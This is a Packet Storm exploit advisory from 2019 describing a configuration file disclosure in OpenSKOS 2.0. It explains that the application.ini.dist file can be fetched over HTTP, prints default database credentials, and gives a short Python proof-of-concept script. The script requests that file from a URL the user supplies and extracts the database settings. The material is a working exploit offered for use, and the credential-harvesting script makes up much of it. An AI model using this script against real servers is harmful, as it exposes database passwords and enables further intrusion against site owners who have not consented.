exploit the possibilities

OpenSkos Simple Knowledge Organization System 2.0 File Disclosure

OpenSkos Simple Knowledge Organization System 2.0 File Disclosure
Posted May 1, 2019
Authored by KingSkrupellos

OpenSkos Simple Knowledge Organization System version 2.0 suffers from a database configuration file disclosure vulnerability.

tags | exploit, info disclosure
MD5 | 52772e6113f454175b227690bf6e9b77

OpenSkos Simple Knowledge Organization System 2.0 File Disclosure

Change Mirror Download
######################################################################

# Exploit Title : OpenSkos Simple Knowledge Organization System 2.0
Database Configuration Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 02/05/2019
# Vendor Homepage : openskos.org
# Software Information Link : openskos.org/api#about-the-openskos-api
# Software Download Link : github.com/OpenSKOS/OpenSKOS/archive/master.zip
# Software Affected Versions : 2.0 and other versions
+ openskos.org/oai-pmh?verb=Identify
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

######################################################################

# Information about Software :
***************************
OpenSKOS - Simple Knowledge Organization System

#####################################################################

# Impact :
***********
OpenSkos Simple Knowledge Organization System 2.0 configuration file
may potentially

disclose sensitive information to remote attackers.

The username and password of the database may be obtained trough the
"application.ini" file.

This is going to have an impact on confidentiality, integrity, and availability.

The configuration file unintentionally stored in
/application/configs/application.ini

HTTP requests consisting of a single character will cause the software
to disclose sensitive

configuration information, including the password/database to the
administrative web interface.

This file is installed, by default, with world readable and possibly
world writeable permissions enabled.

This may have some potentially serious consequences as the configuration file

also stores password information in plain text.

This issue occurs because access controls on configuration files are
not properly set.

An attacker can exploit this issue to retrieve potentially sensitive
information.

Attackers can access config file via URL request. This may aid in
further attacks.

The access to the /configs directory should be restricted with an adequate

countermeasure by the use of a .htaccess file.

* The product stores sensitive information in files or directories
that are accessible to actors

outside of the intended control sphere.

* An information exposure is the intentional or unintentional
disclosure of information to an actor

that is not explicitly authorized to have access to that information.

1. Install the OpenSKOS code
****************************
Copy the code to a location of your choice.

Make sure all files are readable by your webserver. Make sure the
directories data/uploads,
cache, public/data/icons/assigned and public/data/icons/uploads are
writable for the webserver.

For security reasons you can place the data directory outside your
webserver's document root.

1.2 Configuration
*****************
To configure OpenSKOS you have to rename:

APPROOT/application/configs/application.ini.dist

to APPROOT/application/configs/application.ini

Now you can edit the APPROOT/application/configs/application.ini.

You can have separate config settings for specific deployments.
The configuration section marked by the Environment Variable
APPLICATION_ENV (see 2.1 Setting Up Your VHOST). Most settings are
self explanatory.

If you experience any problems you may want to modify settings in the config, to
show you more verbose error messages:

resources.frontController.params.displayExceptions=1
phpSettings.display_errors = 1

#####################################################################

# Database Configuration File Disclosure Exploit :
*******************************************
/application/configs/application.ini.dist

Information :
*************
; Solr configuration:
solr.host = localhost
solr.port = 8983
solr.context = /solr
; Database configuration:
resources.db.adapter=pdo_mysql
resources.db.params.host=localhost
resources.db.params.username=openskos
resources.db.params.password=openskos
resources.db.params.charset=utf8
resources.db.params.dbname=openskos
resources.db.isDefaultTableAdapter = true

Exploit - Proof of Concept :
**************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/application/configs/application.ini.dist"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

#####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#####################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    16 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close